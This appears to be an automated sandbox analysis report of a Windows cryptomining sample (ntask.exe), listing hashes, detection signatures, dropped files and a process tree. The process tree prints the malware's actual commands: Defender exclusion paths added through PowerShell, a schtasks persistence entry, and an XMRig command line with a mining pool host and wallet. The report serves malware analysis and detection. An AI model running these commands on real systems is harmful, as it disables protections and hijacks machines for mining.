Analysis

  • max time kernel
    145s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-05-2023 02:08

General

  • Target

    ntask.exe

  • Size

    424.9MB

  • MD5

    01acd528a1667196a0ad033a07434def

  • SHA1

    4d9f342f615390ce65fe0bba3394a75124438a19

  • SHA256

    726df5e4dbc4649d29ead6c0600c20ffd0a1a304207ae0f419a73c3b57fe8249

  • SHA512

    7a5ac4af98ea1e2f27b20babf76e1e9a44e7ea9f247dddfa69f6b3ae159c9ad82c6f5e6791b3023cedbb9842e302de974c61b820e95d56ce7b5147947ce463b4

  • SSDEEP

    49152:YiycrWBo+A5snqekfdvlDrCeTtavT1jwMRkoFGdPZVKxg5zpKqQ3DSM0+Co:Yt3Oc

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ntask.exe
    "C:\Users\Admin\AppData\Local\Temp\ntask.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3052
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDEEB.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:872
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2604
      • C:\ProgramData\English\WQLQLM.exe
        "C:\ProgramData\English\WQLQLM.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4112
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WQLQLM" /tr "C:\ProgramData\English\WQLQLM.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4712
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WQLQLM" /tr "C:\ProgramData\English\WQLQLM.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1544
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4AAvbZFu6CJe2k13FgFmnDWHasLSbsKpXNumeQrWnZU8gpV9dURkEmJYtTYSohPLrCYA8bBN5PJRWbo1qgLuzpyNApcPYRh --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:628

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\English\WQLQLM.exe

    Filesize

    732.0MB

    MD5

    7a338df586f9b9d6ac198d29dc3d8bfb

    SHA1

    03c3271ba83429eb17a65fd3b13b9181f0190bbd

    SHA256

    c0bedf8adc4ee667df3d4671f0e877afed93e0d0cf386c0eee2a71bb2c05883e

    SHA512

    e0dc2fb9ef4453a7fcb870e3c51dfc56033ad827226778e609b3b559aabe927a2db215d3dadbe6e8689d031da7897c7b381c8898905947fb03a58a5bb36170a1

  • C:\ProgramData\English\WQLQLM.exe

    Filesize

    732.0MB

    MD5

    7a338df586f9b9d6ac198d29dc3d8bfb

    SHA1

    03c3271ba83429eb17a65fd3b13b9181f0190bbd

    SHA256

    c0bedf8adc4ee667df3d4671f0e877afed93e0d0cf386c0eee2a71bb2c05883e

    SHA512

    e0dc2fb9ef4453a7fcb870e3c51dfc56033ad827226778e609b3b559aabe927a2db215d3dadbe6e8689d031da7897c7b381c8898905947fb03a58a5bb36170a1

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    cadef9abd087803c630df65264a6c81c

    SHA1

    babbf3636c347c8727c35f3eef2ee643dbcc4bd2

    SHA256

    cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

    SHA512

    7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    8b9e9b3d4882e7cfc310a522919899e3

    SHA1

    70d0ff19ec0fb6ad9e7fd090da12d69409f94f7e

    SHA256

    001ff62b5e030d03e8f94551bca4ebb4850d70bcaf4371e7193213d5ca7d37fc

    SHA512

    e0086b530cf4ab31999798a051a13b1724e00ce8bf065660628f4041ae5714b4531bb54500f52402c7d33320c909870a2d2f61d3a64f527af6437e90db9a099e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b340kahj.3rf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmpDEEB.tmp.bat

    Filesize

    142B

    MD5

    1e73fc378c36c831ba54b3c204bd8248

    SHA1

    0ad90963da60384a9ea1aff447c767d5b26e9b4a

    SHA256

    66040b39b10b1fe463ef8f3e105573d010507d2635d53d5083762bf6c19fae53

    SHA512

    17c4397adda0d03b706aa365152b7cf9980a68e7def00e3989d136b828bd1b2ff68095b52743425ac9f7fed96132c12f18dc5e3cc90f5f3cbe115dd1bd2165bb

  • memory/628-209-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-204-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-213-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-211-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-210-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-215-0x0000019882630000-0x0000019882670000-memory.dmp

    Filesize

    256KB

  • memory/628-217-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-208-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-207-0x00000198825E0000-0x0000019882600000-memory.dmp

    Filesize

    128KB

  • memory/628-206-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-205-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/628-214-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1284-153-0x00000244266F0000-0x0000024426700000-memory.dmp

    Filesize

    64KB

  • memory/1284-155-0x00000244266F0000-0x0000024426700000-memory.dmp

    Filesize

    64KB

  • memory/3052-139-0x000001C87A1F0000-0x000001C87A212000-memory.dmp

    Filesize

    136KB

  • memory/3052-156-0x000001C860900000-0x000001C860910000-memory.dmp

    Filesize

    64KB

  • memory/3432-173-0x0000000000D50000-0x0000000000D60000-memory.dmp

    Filesize

    64KB

  • memory/3432-212-0x0000000000D50000-0x0000000000D60000-memory.dmp

    Filesize

    64KB

  • memory/4112-198-0x000002404BCA0000-0x000002404BCB0000-memory.dmp

    Filesize

    64KB

  • memory/4112-196-0x000002404BCA0000-0x000002404BCB0000-memory.dmp

    Filesize

    64KB

  • memory/4112-197-0x000002404BCA0000-0x000002404BCB0000-memory.dmp

    Filesize

    64KB

  • memory/4568-149-0x0000000003940000-0x0000000003950000-memory.dmp

    Filesize

    64KB

  • memory/4568-133-0x0000000000DC0000-0x0000000000FFA000-memory.dmp

    Filesize

    2.2MB

  • memory/4568-163-0x0000000003940000-0x0000000003950000-memory.dmp

    Filesize

    64KB